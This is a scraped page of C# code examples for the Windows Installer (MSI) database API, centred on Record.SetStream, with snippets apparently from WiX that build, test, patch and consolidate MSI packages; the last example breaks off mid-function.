コード例 #1
0
        private void ImportSubStorages(Database db)
        {
            if (0 < this.Data.SubStorages.Count)
            {
                using (var storagesView = new View(db, "SELECT `Name`, `Data` FROM `_Storages`"))
                {
                    foreach (var subStorage in this.Data.SubStorages)
                    {
                        var transformFile = Path.Combine(this.IntermediateFolder, String.Concat(subStorage.Name, ".mst"));

                        // Bind the transform.
                        var command = new BindTransformCommand(this.Messaging, this.BackendHelper, this.FileSystemManager, this.IntermediateFolder, subStorage.Data, transformFile, this.TableDefinitions);
                        command.Execute();

                        if (this.Messaging.EncounteredError)
                        {
                            continue;
                        }

                        // Add the storage to the database.
                        using (var record = new Record(2))
                        {
                            record.SetString(1, subStorage.Name);
                            record.SetStream(2, transformFile);
                            storagesView.Modify(ModifyView.Assign, record);
                        }
                    }
                }
            }
        }
コード例 #2
0
 internal static void SetRecordField(Record record, object fieldValue, int index) {
     if (fieldValue == null) {
         record.set_StringData(index+1, "");
     } else if (fieldValue is int) {
         record.set_IntegerData(index+1, (int) fieldValue);
     } else if (fieldValue is string) {
         record.set_StringData(index+1, (string) fieldValue);
     } else if (fieldValue is InstallerStream) {
         record.SetStream(index+1, ((InstallerStream) fieldValue).FilePath);
     } else {
         throw new ApplicationException("Unhandled type: " + fieldValue.GetType());
     }
 }
コード例 #3
0
        private void CreateCustomActionProduct(
            string msiFile, string customActionFile, IList <string> customActions, bool sixtyFourBit)
        {
            using (Database db = new Database(msiFile, DatabaseOpenMode.CreateDirect))
            {
                WindowsInstallerUtils.InitializeProductDatabase(db, sixtyFourBit);
                WindowsInstallerUtils.CreateTestProduct(db);

                if (!File.Exists(customActionFile))
                {
                    throw new FileNotFoundException(customActionFile);
                }

                using (Record binRec = new Record(2))
                {
                    binRec[1] = Path.GetFileName(customActionFile);
                    binRec.SetStream(2, customActionFile);

                    db.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binRec);
                }

                using (Record binRec2 = new Record(2))
                {
                    binRec2[1] = "TestData";
                    binRec2.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes("This is a test data stream.")));

                    db.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binRec2);
                }

                for (int i = 0; i < customActions.Count; i++)
                {
                    db.Execute(
                        "INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('{0}', 1, '{1}', '{2}')",
                        customActions[i],
                        Path.GetFileName(customActionFile),
                        customActions[i]);
                    db.Execute(
                        "INSERT INTO `InstallExecuteSequence` (`Action`, `Condition`, `Sequence`) VALUES ('{0}', '', {1})",
                        customActions[i],
                        101 + i);
                }

                db.Execute("INSERT INTO `Property` (`Property`, `Value`) VALUES ('SampleCATest', 'TestValue')");

                db.Commit();
            }
        }
コード例 #4
0
 internal static void SetRecordField(Record record, object fieldValue, int index)
 {
     if (fieldValue == null)
     {
         record.set_StringData(index + 1, "");
     }
     else if (fieldValue is int)
     {
         record.set_IntegerData(index + 1, (int)fieldValue);
     }
     else if (fieldValue is string)
     {
         record.set_StringData(index + 1, (string)fieldValue);
     }
     else if (fieldValue is InstallerStream)
     {
         record.SetStream(index + 1, ((InstallerStream)fieldValue).FilePath);
     }
     else
     {
         throw new ApplicationException("Unhandled type: " + fieldValue.GetType());
     }
 }
コード例 #5
0
        public void EmbeddedUISingleInstall()
        {
            string dbFile = "EmbeddedUISingleInstall.msi";
            string productCode;

            string uiDir  = Path.GetFullPath(EmbeddedExternalUI.EmbeddedUISampleBinDir);
            string uiFile = "Microsoft.Deployment.Samples.EmbeddedUI.dll";

            using (Database db = new Database(dbFile, DatabaseOpenMode.CreateDirect))
            {
                WindowsInstallerUtils.InitializeProductDatabase(db);
                WindowsInstallerUtils.CreateTestProduct(db);

                productCode = db.ExecuteStringQuery("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductCode'")[0];

                using (Record uiRec = new Record(5))
                {
                    uiRec[1] = "TestEmbeddedUI";
                    uiRec[2] = Path.GetFileNameWithoutExtension(uiFile) + ".Wrapper.dll";
                    uiRec[3] = 1;
                    uiRec[4] = (int)(
                        EmbeddedExternalUI.TestLogModes |
                        InstallLogModes.Progress |
                        InstallLogModes.Initialize |
                        InstallLogModes.Terminate |
                        InstallLogModes.ShowDialog);
                    uiRec.SetStream(5, Path.Combine(uiDir, uiFile));
                    db.Execute(db.Tables["MsiEmbeddedUI"].SqlInsertString, uiRec);
                }

                db.Commit();
            }

            Installer.SetInternalUI(InstallUIOptions.Full);

            ProductInstallation installation = new ProductInstallation(productCode);

            Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed before starting.");

            Exception caughtEx = null;

            try
            {
                Installer.EnableLog(EmbeddedExternalUI.TestLogModes, "install.log");
                Installer.InstallProduct(dbFile, String.Empty);
            }
            catch (Exception ex) { caughtEx = ex; }
            Assert.IsNull(caughtEx, "Exception thrown while installing product: " + caughtEx);

            Assert.IsTrue(installation.IsInstalled, "Checking that product is installed.");
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine("===================================================================");
            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine();

            try
            {
                Installer.EnableLog(EmbeddedExternalUI.TestLogModes, "uninstall.log");
                Installer.InstallProduct(dbFile, "REMOVE=All");
            }
            catch (Exception ex) { caughtEx = ex; }
            Assert.IsNull(caughtEx, "Exception thrown while uninstalling product: " + caughtEx);
        }
コード例 #6
0
        // This test does not pass if run normally.
        // It only passes when a failure is injected into the EmbeddedUI launcher.
        ////[TestMethod]
        public void EmbeddedUIInitializeFails()
        {
            string dbFile = "EmbeddedUIInitializeFails.msi";
            string productCode;

            string uiDir  = Path.GetFullPath(EmbeddedExternalUI.EmbeddedUISampleBinDir);
            string uiFile = "Microsoft.Deployment.Samples.EmbeddedUI.dll";

            // A number that will be used to check whether a type 19 CA runs.
            const string magicNumber = "3.14159265358979323846264338327950";

            using (Database db = new Database(dbFile, DatabaseOpenMode.CreateDirect))
            {
                WindowsInstallerUtils.InitializeProductDatabase(db);
                WindowsInstallerUtils.CreateTestProduct(db);

                const string failureActionName = "EmbeddedUIInitializeFails";
                db.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) " +
                           "VALUES ('{0}', 19, '', 'Logging magic number: {1}')", failureActionName, magicNumber);

                // This type 19 CA (launch condition) is given a condition of 'UILevel = 3' so that it only runs if the
                // installation is running in BASIC UI mode, which is what we expect if the EmbeddedUI fails to initialize.
                db.Execute("INSERT INTO `InstallExecuteSequence` (`Action`, `Condition`, `Sequence`) " +
                           "VALUES ('{0}', 'UILevel = 3', 1)", failureActionName);

                productCode = db.ExecuteStringQuery("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductCode'")[0];

                using (Record uiRec = new Record(5))
                {
                    uiRec[1] = "TestEmbeddedUI";
                    uiRec[2] = Path.GetFileNameWithoutExtension(uiFile) + ".Wrapper.dll";
                    uiRec[3] = 1;
                    uiRec[4] = (int)(
                        EmbeddedExternalUI.TestLogModes |
                        InstallLogModes.Progress |
                        InstallLogModes.Initialize |
                        InstallLogModes.Terminate |
                        InstallLogModes.ShowDialog);
                    uiRec.SetStream(5, Path.Combine(uiDir, uiFile));
                    db.Execute(db.Tables["MsiEmbeddedUI"].SqlInsertString, uiRec);
                }

                db.Commit();
            }

            Installer.SetInternalUI(InstallUIOptions.Full);

            ProductInstallation installation = new ProductInstallation(productCode);

            Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed before starting.");

            string    logFile  = "install.log";
            Exception caughtEx = null;

            try
            {
                Installer.EnableLog(EmbeddedExternalUI.TestLogModes, logFile);
                Installer.InstallProduct(dbFile, String.Empty);
            }
            catch (Exception ex) { caughtEx = ex; }
            Assert.IsInstanceOfType(caughtEx, typeof(InstallerException),
                                    "Excpected InstallerException installing product; caught: " + caughtEx);

            Assert.IsFalse(installation.IsInstalled, "Checking that product is not installed.");

            string logText = File.ReadAllText(logFile);

            Assert.IsTrue(logText.Contains(magicNumber), "Checking that the type 19 custom action ran.");
        }
コード例 #7
0
        public void Execute()
        {
            // Add the _Validation rows.
            if (!this.SuppressAddingValidationRows)
            {
                var validationTable = this.Output.EnsureTable(this.TableDefinitions["_Validation"]);

                foreach (var table in this.Output.Tables)
                {
                    if (!table.Definition.Unreal)
                    {
                        // Add the validation rows for this table.
                        foreach (ColumnDefinition columnDef in table.Definition.Columns)
                        {
                            var row = validationTable.CreateRow(null);

                            row[0] = table.Name;

                            row[1] = columnDef.Name;

                            if (columnDef.Nullable)
                            {
                                row[2] = "Y";
                            }
                            else
                            {
                                row[2] = "N";
                            }

                            if (columnDef.MinValue.HasValue)
                            {
                                row[3] = columnDef.MinValue.Value;
                            }

                            if (columnDef.MaxValue.HasValue)
                            {
                                row[4] = columnDef.MaxValue.Value;
                            }

                            row[5] = columnDef.KeyTable;

                            if (columnDef.KeyColumn.HasValue)
                            {
                                row[6] = columnDef.KeyColumn.Value;
                            }

                            if (ColumnCategory.Unknown != columnDef.Category)
                            {
                                row[7] = columnDef.Category.ToString();
                            }

                            row[8] = columnDef.Possibilities;

                            row[9] = columnDef.Description;
                        }
                    }
                }
            }

            // Set the base directory.
            var baseDirectory = this.IntermediateFolder;

            if (this.UseSubDirectory)
            {
                string filename = Path.GetFileNameWithoutExtension(this.OutputPath);
                baseDirectory = Path.Combine(baseDirectory, filename);

                // make sure the directory exists
                Directory.CreateDirectory(baseDirectory);
            }

            var idtDirectory = Path.Combine(baseDirectory, "_idts");

            Directory.CreateDirectory(idtDirectory);

            try
            {
                OpenDatabase type = OpenDatabase.CreateDirect;

                // set special flag for patch files
                if (OutputType.Patch == this.Output.Type)
                {
                    type |= OpenDatabase.OpenPatchFile;
                }

#if DEBUG
                Console.WriteLine("Opening database at: {0}", this.OutputPath);
#endif

                // Localize the codepage if a value was specified directly.
                if (-1 != this.Codepage)
                {
                    this.Output.Codepage = this.Codepage;
                }

                Directory.CreateDirectory(Path.GetDirectoryName(this.OutputPath));

                using (Database db = new Database(this.OutputPath, type))
                {
                    // if we're not using the default codepage, import a new one into our
                    // database before we add any tables (or the tables would be added
                    // with the wrong codepage).
                    if (0 != this.Output.Codepage)
                    {
                        this.SetDatabaseCodepage(db, this.Output.Codepage, idtDirectory);
                    }

                    foreach (Table table in this.Output.Tables)
                    {
                        Table importTable     = table;
                        bool  hasBinaryColumn = false;

                        // Skip all unreal tables other than _Streams.
                        if (table.Definition.Unreal && "_Streams" != table.Name)
                        {
                            continue;
                        }

                        // Do not put the _Validation table in patches, it is not needed.
                        if (OutputType.Patch == this.Output.Type && "_Validation" == table.Name)
                        {
                            continue;
                        }

                        // The only way to import binary data is to copy it to a local subdirectory first.
                        // To avoid this extra copying and perf hit, import an empty table with the same
                        // definition and later import the binary data from source using records.
                        foreach (ColumnDefinition columnDefinition in table.Definition.Columns)
                        {
                            if (ColumnType.Object == columnDefinition.Type)
                            {
                                importTable     = new Table(table.Definition);
                                hasBinaryColumn = true;
                                break;
                            }
                        }

                        // Create the table via IDT import.
                        if ("_Streams" != importTable.Name)
                        {
                            try
                            {
                                var command = new CreateIdtFileCommand(this.Messaging, importTable, this.Output.Codepage, idtDirectory, this.KeepAddedColumns);
                                command.Execute();

                                var buildOutput = this.BackendHelper.TrackFile(command.IdtPath, TrackedFileType.Temporary);
                                this.GeneratedTemporaryFiles.Add(buildOutput);

                                db.Import(command.IdtPath);
                            }
                            catch (WixInvalidIdtException)
                            {
                                // If ValidateRows finds anything it doesn't like, it throws
                                importTable.ValidateRows();

                                // Otherwise we rethrow the InvalidIdt
                                throw;
                            }
                        }

                        // insert the rows via SQL query if this table contains object fields
                        if (hasBinaryColumn)
                        {
                            StringBuilder query = new StringBuilder("SELECT ");

                            // Build the query for the view.
                            bool firstColumn = true;
                            foreach (ColumnDefinition columnDefinition in table.Definition.Columns)
                            {
                                if (!firstColumn)
                                {
                                    query.Append(",");
                                }

                                query.AppendFormat(" `{0}`", columnDefinition.Name);
                                firstColumn = false;
                            }
                            query.AppendFormat(" FROM `{0}`", table.Name);

                            using (View tableView = db.OpenExecuteView(query.ToString()))
                            {
                                // Import each row containing a stream
                                foreach (Row row in table.Rows)
                                {
                                    using (Record record = new Record(table.Definition.Columns.Length))
                                    {
                                        StringBuilder streamName = new StringBuilder();
                                        bool          needStream = false;

                                        // the _Streams table doesn't prepend the table name (or a period)
                                        if ("_Streams" != table.Name)
                                        {
                                            streamName.Append(table.Name);
                                        }

                                        for (int i = 0; i < table.Definition.Columns.Length; i++)
                                        {
                                            ColumnDefinition columnDefinition = table.Definition.Columns[i];

                                            switch (columnDefinition.Type)
                                            {
                                            case ColumnType.Localized:
                                            case ColumnType.Preserved:
                                            case ColumnType.String:
                                                if (columnDefinition.PrimaryKey)
                                                {
                                                    if (0 < streamName.Length)
                                                    {
                                                        streamName.Append(".");
                                                    }
                                                    streamName.Append((string)row[i]);
                                                }

                                                record.SetString(i + 1, (string)row[i]);
                                                break;

                                            case ColumnType.Number:
                                                record.SetInteger(i + 1, Convert.ToInt32(row[i], CultureInfo.InvariantCulture));
                                                break;

                                            case ColumnType.Object:
                                                if (null != row[i])
                                                {
                                                    needStream = true;
                                                    try
                                                    {
                                                        record.SetStream(i + 1, (string)row[i]);
                                                    }
                                                    catch (Win32Exception e)
                                                    {
                                                        if (0xA1 == e.NativeErrorCode)     // ERROR_BAD_PATHNAME
                                                        {
                                                            throw new WixException(ErrorMessages.FileNotFound(row.SourceLineNumbers, (string)row[i]));
                                                        }
                                                        else
                                                        {
                                                            throw new WixException(ErrorMessages.Win32Exception(e.NativeErrorCode, e.Message));
                                                        }
                                                    }
                                                }
                                                break;
                                            }
                                        }

                                        // stream names are created by concatenating the name of the table with the values
                                        // of the primary key (delimited by periods)
                                        // check for a stream name that is more than 62 characters long (the maximum allowed length)
                                        if (needStream && MsiInterop.MsiMaxStreamNameLength < streamName.Length)
                                        {
                                            this.Messaging.Write(ErrorMessages.StreamNameTooLong(row.SourceLineNumbers, table.Name, streamName.ToString(), streamName.Length));
                                        }
                                        else // add the row to the database
                                        {
                                            tableView.Modify(ModifyView.Assign, record);
                                        }
                                    }
                                }
                            }

                            // Remove rows from the _Streams table for wixpdbs.
                            if ("_Streams" == table.Name)
                            {
                                table.Rows.Clear();
                            }
                        }
                    }

                    // Insert substorages (usually transforms inside a patch or instance transforms in a package).
                    if (0 < this.Output.SubStorages.Count)
                    {
                        using (View storagesView = new View(db, "SELECT `Name`, `Data` FROM `_Storages`"))
                        {
                            foreach (SubStorage subStorage in this.Output.SubStorages)
                            {
                                string transformFile = Path.Combine(this.IntermediateFolder, String.Concat(subStorage.Name, ".mst"));

                                // Bind the transform.
                                this.BindTransform(subStorage.Data, transformFile);

                                if (this.Messaging.EncounteredError)
                                {
                                    continue;
                                }

                                // add the storage
                                using (Record record = new Record(2))
                                {
                                    record.SetString(1, subStorage.Name);
                                    record.SetStream(2, transformFile);
                                    storagesView.Modify(ModifyView.Assign, record);
                                }
                            }
                        }
                    }

                    // We're good, commit the changes to the new database.
                    db.Commit();
                }
            }
            catch (IOException e)
            {
                // TODO: this error message doesn't seem specific enough
                throw new WixException(ErrorMessages.FileNotFound(new SourceLineNumber(this.OutputPath), this.OutputPath), e);
            }
        }
コード例 #8
0
        /// <summary>
        /// Method:         dsAddEngine
        /// Description:    This method is used to update a new file as a datastream into the msi file
        /// </summary>
        /// <param name="iFile"></param>
        /// <param name="iDSFile"></param>
        static void dsAddEngine(string iFile, string iDSFile)
        {
            try
            {
                copyrightBanner();
                string dbRecords = String.Empty; //variable to hold the record values being read
                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine("-: The Windows Installer Database provided is: " + iFile);
                Console.WriteLine("-: The Data Stream File to embedd is: " + iDSFile);

                if (disableBackup == 0)
                {
                    Console.WriteLine("-: Back up Windows Installer Database file : " + iFile + " to " + iFile + ".bac");
                    Random rSeed      = new Random();
                    int    rSeedValue = rSeed.Next(0, 100);
                    File.Copy(iFile, iFile + rSeedValue + ".bac");
                    Console.WriteLine("-: Backup Completed...");
                }


                Console.WriteLine("-: Processing Data Streams, please wait...");
                Console.WriteLine("-: Opening the Windows Installer Database File...\n");

                //Get the Type for Windows Installer
                Type winInstallerType = Type.GetTypeFromProgID("WindowsInstaller.Installer");

                //Create the windows installer object
                Installer winInstallerObj = (Installer)Activator.CreateInstance(winInstallerType);

                //Open the Database
                Database winInstallerDB = winInstallerObj.OpenDatabase(iFile, MsiOpenDatabaseMode.msiOpenDatabaseModeTransact);

                try
                {
                    //Create a View and Execute it
                    View   winInstallerView   = winInstallerDB.OpenView("SELECT `Name`, `Data` FROM _Streams");
                    Record winInstallerRecord = winInstallerObj.CreateRecord(2);
                    winInstallerRecord.set_StringData(1, iDSFile);
                    winInstallerView.Execute(winInstallerRecord);
                    winInstallerRecord.SetStream(2, iDSFile);
                    winInstallerView.Modify(MsiViewModify.msiViewModifyAssign, winInstallerRecord);
                    winInstallerDB.Commit();
                    Console.WriteLine("-: The file " + iDSFile + " is now embedded into the MSI Data Streams.");
                }

                catch (System.Runtime.InteropServices.COMException ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Error: There was an error opening the file : " + iDSFile, ex.Message);
                    Console.ResetColor();
                }
            }

            catch (System.IndexOutOfRangeException ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Error: There was an error opening the file: " + iFile, ex.Message);
                Console.ResetColor();
            }
            catch (System.Runtime.InteropServices.COMException ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Error: There was an error opening the file: " + iFile, ex.Message);
                Console.ResetColor();
            }
        }
コード例 #9
0
ファイル: InstallPackage.cs プロジェクト: bleissem/wix3
    /// <summary>
    /// Applies a patch package to the database, resulting in an installation package that
    /// has the patch built-in.
    /// </summary>
    /// <param name="patchPackage">The patch package to be applied</param>
    /// <param name="transform">Optional name of the specific transform to apply.
    /// This parameter is usually left null, which causes the patch to be searched for
    /// a transform that is valid to apply to this database.</param>
    /// <remarks>
    /// If the patch contains any binary file patches, they will not immediately be applied
    /// to the target files, though they will at installation time.
    /// <p>After calling this method you can use <see cref="Consolidate"/> to apply
    /// the file patches immediately and also discard any outdated files from the package.</p>
    /// </remarks>
    public void ApplyPatch(PatchPackage patchPackage, string transform)
    {
        if(patchPackage == null) throw new ArgumentNullException("patchPackage");

        this.LogMessage("Applying patch file {0} to database {1}",
            patchPackage.FilePath, this.FilePath);

        if(transform == null)
        {
            this.LogMessage("No transform specified; searching for valid patch transform");
            string[] validTransforms = patchPackage.GetValidTransforms(this);
            if(validTransforms.Length == 0)
            {
                this.LogMessage("No valid patch transform was found");
                throw new InvalidOperationException("No valid patch transform was found.");
            }
            transform = validTransforms[0];
        }
        this.LogMessage("Patch transform = {0}", transform);

        string patchPrefix = Path.GetFileNameWithoutExtension(patchPackage.FilePath) + "_";

        string specialTransform = "#" + transform;
        Directory.CreateDirectory(this.TempDirectory);
        this.LogMessage("Extracting substorage {0}", transform);
        string transformFile = Path.Combine(this.TempDirectory,
            patchPrefix + Path.GetFileNameWithoutExtension(transform) + ".mst");
        patchPackage.ExtractTransform(transform, transformFile);
        this.LogMessage("Extracting substorage {0}", specialTransform);
        string specialTransformFile = Path.Combine(this.TempDirectory,
            patchPrefix + Path.GetFileNameWithoutExtension(specialTransform) + ".mst");
        patchPackage.ExtractTransform(specialTransform, specialTransformFile);

        if (this.Tables.Contains("Patch") && !this.Tables["Patch"].Columns.Contains("_StreamRef"))
        {
            if(this.CountRows("Patch") > 0)
            {
                this.LogMessage("Warning: non-empty Patch table exists without StreamRef_ column; " +
                    "patch transform may fail");
            }
            else
            {
                this.Execute("DROP TABLE `Patch`");
                this.Execute("CREATE TABLE `Patch` (`File_` CHAR(72) NOT NULL, " +
                    "`Sequence` INTEGER NOT NULL, `PatchSize` LONG NOT NULL, " +
                    "`Attributes` INTEGER NOT NULL, `Header` OBJECT, `StreamRef_` CHAR(72)  " +
                    "PRIMARY KEY `File_`, `Sequence`)");
            }
        }

        this.LogMessage("Applying transform {0} to database", transform);
        this.ApplyTransform(transformFile);
        this.LogMessage("Applying transform {0} to database", specialTransform);
        this.ApplyTransform(specialTransformFile);

        if (this.Tables.Contains("MsiPatchHeaders") && this.CountRows("MsiPatchHeaders") > 0 &&
            (!this.Tables.Contains("Patch") || this.CountRows("Patch", "`StreamRef_` <> ''") == 0))
        {
            this.LogMessage("Error: patch transform failed because of missing Patch.StreamRef_ column");
            throw new InstallerException("Patch transform failed because of missing Patch.StreamRef_ column");
        }

        IList<int> mediaIds = this.ExecuteIntegerQuery("SELECT `Media_` FROM `PatchPackage` " +
            "WHERE `PatchId` = '{0}'", patchPackage.PatchCode);
        if (mediaIds.Count == 0)
        {
            this.LogMessage("Warning: PatchPackage Media record not found -- " +
                "skipping inclusion of patch cabinet");
        }
        else
        {
            int patchMediaDiskId = mediaIds[0];
            IList<string> patchCabinets = this.ExecuteStringQuery("SELECT `Cabinet` FROM `Media` " +
                "WHERE `DiskId` = {0}", patchMediaDiskId);
            if(patchCabinets.Count == 0)
            {
                this.LogMessage("Patch cabinet record not found");
                throw new InstallerException("Patch cabinet record not found.");
            }
            string patchCabinet = patchCabinets[0];
            this.LogMessage("Patch cabinet = {0}", patchCabinet);
            if(!patchCabinet.StartsWith("#", StringComparison.Ordinal))
            {
                this.LogMessage("Error: Patch cabinet must be embedded");
                throw new InstallerException("Patch cabinet must be embedded.");
            }
            patchCabinet = patchCabinet.Substring(1);

            string renamePatchCabinet = patchPrefix + patchCabinet;

            const int HIGH_DISKID = 30000; // Must not collide with other patch media DiskIDs
            int renamePatchMediaDiskId = HIGH_DISKID;
            while (this.CountRows("Media", "`DiskId` = " + renamePatchMediaDiskId) > 0) renamePatchMediaDiskId++;

            // Since the patch cab is now embedded in the MSI, it shouldn't have a separate disk prompt/source
            this.LogMessage("Renaming the patch media record");
            int lastSeq = Convert.ToInt32(this.ExecuteScalar("SELECT `LastSequence` FROM `Media` WHERE `DiskId` = {0}", patchMediaDiskId));
            this.Execute("DELETE FROM `Media` WHERE `DiskId` = {0}", patchMediaDiskId);
            this.Execute("INSERT INTO `Media` (`DiskId`, `LastSequence`, `Cabinet`) VALUES ({0}, '{1}', '#{2}')",
                renamePatchMediaDiskId, lastSeq, renamePatchCabinet);
            this.Execute("UPDATE `PatchPackage` SET `Media_` = {0} WHERE `PatchId` = '{1}'", renamePatchMediaDiskId, patchPackage.PatchCode);

            this.LogMessage("Copying patch cabinet: {0}", patchCabinet);
            string patchCabFile = Path.Combine(this.TempDirectory,
                Path.GetFileNameWithoutExtension(patchCabinet) + ".cab");
            using(View streamView = patchPackage.OpenView("SELECT `Name`, `Data` FROM `_Streams` " +
                  "WHERE `Name` = '{0}'", patchCabinet))
            {
                streamView.Execute();
                Record streamRec = streamView.Fetch();
                if(streamRec == null)
                {
                    this.LogMessage("Error: Patch cabinet not found");
                    throw new InstallerException("Patch cabinet not found.");
                }
                using(streamRec)
                {
                    streamRec.GetStream(2, patchCabFile);
                }
            }
            using(Record patchCabRec = new Record(2))
            {
                patchCabRec[1] = patchCabinet;
                patchCabRec.SetStream(2, patchCabFile);
                this.Execute("INSERT INTO `_Streams` (`Name`, `Data`) VALUES (?, ?)", patchCabRec);
            }

            this.LogMessage("Ensuring PatchFiles action exists in InstallExecuteSequence table");
            if (this.Tables.Contains("InstallExecuteSequence"))
            {
                if(this.CountRows("InstallExecuteSequence", "`Action` = 'PatchFiles'") == 0)
                {
                    IList<int> installFilesSeqList = this.ExecuteIntegerQuery("SELECT `Sequence` " +
                        "FROM `InstallExecuteSequence` WHERE `Action` = 'InstallFiles'");
                    short installFilesSeq = (short) (installFilesSeqList.Count != 0 ?
                        installFilesSeqList[0] : 0);
                    this.Execute("INSERT INTO `InstallExecuteSequence` (`Action`, `Sequence`) " +
                        "VALUES ('PatchFiles', {0})", installFilesSeq + 1);
                }
            }

            // Patch-added files need to be marked always-compressed
            this.LogMessage("Adjusting attributes of patch-added files");
            using(View fileView = this.OpenView("SELECT `File`, `Attributes`, `Sequence` " +
                  "FROM `File` ORDER BY `Sequence`"))
            {
                fileView.Execute();
                
                foreach (Record fileRec in fileView) using(fileRec)
                {
                    int fileAttributes = fileRec.GetInteger(2);
                    if ((fileAttributes & (int) Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded) != 0)
                    {
                        fileAttributes = (fileAttributes | (int) Microsoft.Deployment.WindowsInstaller.FileAttributes.Compressed)
                            & ~(int) Microsoft.Deployment.WindowsInstaller.FileAttributes.NonCompressed
                            & ~(int) Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded;
                        fileRec[2] = fileAttributes;
                        fileView.Update(fileRec);
                    }
                }
            }
        }

        this.LogMessage("Applying new summary info from patch package");
        this.SummaryInfo.RevisionNumber = this.Property["PATCHNEWPACKAGECODE"];
        this.SummaryInfo.Subject = this.Property["PATCHNEWSUMMARYSUBJECT"];
        this.SummaryInfo.Comments = this.Property["PATCHNEWSUMMARYCOMMENTS"];
        this.SummaryInfo.Persist();
        this.Property["PATCHNEWPACKAGECODE"    ] = null;
        this.Property["PATCHNEWSUMMARYSUBJECT" ] = null;
        this.Property["PATCHNEWSUMMARYCOMMENTS"] = null;

        this.LogMessage("Patch application finished");
    }
コード例 #10
0
ファイル: InstallPackage.cs プロジェクト: bleissem/wix3
    /// <summary>
    /// Consolidates a package by combining and re-compressing all files into a single
    /// internal or external cabinet.
    /// </summary>
    /// <param name="mediaCabinet"></param>
    /// <remarks>If an installation package was built from many merge modules, this
    /// method can somewhat decrease package size, complexity, and installation time.
    /// <p>This method will also convert a package with all or mostly uncompressed
    /// files into a package where all files are compressed.</p>
    /// <p>If the package contains any not-yet-applied binary file patches (for
    /// example, a package generated by a call to <see cref="ApplyPatch"/>) then
    /// this method will apply the patches before compressing the updated files.</p>
    /// <p>This method edits the database summary information and the File, Media
    /// and Patch tables as necessary to maintain a valid installation package.</p>
    /// <p>The cabinet compression level used during re-cabbing can be configured with the
    /// <see cref="CompressionLevel"/> property.</p>
    /// </remarks>
    public void Consolidate(string mediaCabinet)
    {
        this.LogMessage("Consolidating package");

        Directory.CreateDirectory(this.TempDirectory);

        this.LogMessage("Extracting/preparing files");
        this.ProcessFilesByMediaDisk(null,
            new ProcessFilesOnOneMediaDiskHandler(this.PrepareOneMediaDiskForConsolidation));

        this.LogMessage("Applying any file patches");
        ApplyFilePatchesForConsolidation();

        this.LogMessage("Clearing PatchPackage, Patch, MsiPatchHeaders tables");
        if (this.Tables.Contains("PatchPackage"))
        {
            this.Execute("DELETE FROM `PatchPackage` WHERE `PatchId` <> ''");
        }
        if (this.Tables.Contains("Patch"))
        {
            this.Execute("DELETE FROM `Patch` WHERE `File_` <> ''");
        }
        if (this.Tables.Contains("MsiPatchHeaders"))
        {
            this.Execute("DELETE FROM `MsiPatchHeaders` WHERE `StreamRef` <> ''");
        }

        this.LogMessage("Resequencing files");
        ArrayList files = new ArrayList();
        using(View fileView = this.OpenView("SELECT `File`, `Attributes`, `Sequence` " +
              "FROM `File` ORDER BY `Sequence`"))
        {
            fileView.Execute();
            
            foreach (Record fileRec in fileView) using(fileRec)
            {
                files.Add(fileRec[1]);
                int fileAttributes = fileRec.GetInteger(2);
                fileAttributes &= ~(int) (Microsoft.Deployment.WindowsInstaller.FileAttributes.Compressed
                    | Microsoft.Deployment.WindowsInstaller.FileAttributes.NonCompressed | Microsoft.Deployment.WindowsInstaller.FileAttributes.PatchAdded);
                fileRec[2] = fileAttributes;
                fileRec[3] = files.Count;
                fileView.Update(fileRec);
            }
        }

        bool internalCab = false;
        if(mediaCabinet.StartsWith("#", StringComparison.Ordinal))
        {
            internalCab = true;
            mediaCabinet = mediaCabinet.Substring(1);
        }

        this.LogMessage("Cabbing files");
        string[] fileKeys = (string[]) files.ToArray(typeof(string));
        string cabPath = Path.Combine(internalCab ? this.TempDirectory
            : this.WorkingDirectory, mediaCabinet);
        this.cabName = mediaCabinet;
        this.cabMsg = "compress {0}\\{1}";
        new CabInfo(cabPath).PackFiles(this.TempDirectory, fileKeys,
            fileKeys, this.CompressionLevel, this.CabinetProgress);

        this.DeleteEmbeddedCabs();

        if(internalCab)
        {
            this.LogMessage("Inserting cab stream into MSI");
            Record cabRec = new Record(1);
            cabRec.SetStream(1, cabPath);
            this.Execute("INSERT INTO `_Streams` (`Name`, `Data`) VALUES ('" + mediaCabinet + "', ?)", cabRec);
        }

        this.LogMessage("Inserting cab media record into MSI");
        this.Execute("DELETE FROM `Media` WHERE `DiskId` <> 0");
        this.Execute("INSERT INTO `Media` (`DiskId`, `LastSequence`, `Cabinet`) " +
            "VALUES (1, " + files.Count + ", '" + (internalCab ? "#" : "") + mediaCabinet + "')");


        this.LogMessage("Setting compressed flag on package summary info");
        this.SummaryInfo.WordCount = this.SummaryInfo.WordCount | 2;
        this.SummaryInfo.Persist();
    }
コード例 #11
0
ファイル: InstallPackage.cs プロジェクト: bleissem/wix3
    private void UpdateFilesOnOneMediaDisk(string mediaCab,
        InstallPathMap compressedFileMap, InstallPathMap uncompressedFileMap)
    {
        if(compressedFileMap.Count > 0)
        {
            string cabFile = null;
            bool cabFileIsTemp = false;
            if(mediaCab.StartsWith("#", StringComparison.Ordinal))
            {
                cabFileIsTemp = true;
                mediaCab = mediaCab.Substring(1);

                using(View streamView = this.OpenView("SELECT `Name`, `Data` FROM `_Streams` " +
                      "WHERE `Name` = '{0}'", mediaCab))
                {
                    streamView.Execute();
                    Record streamRec = streamView.Fetch();
                    if(streamRec == null)
                    {
                        this.LogMessage("Stream not found: {0}", mediaCab);
                        throw new InstallerException("Stream not found: " + mediaCab);
                    }
                    using(streamRec)
                    {
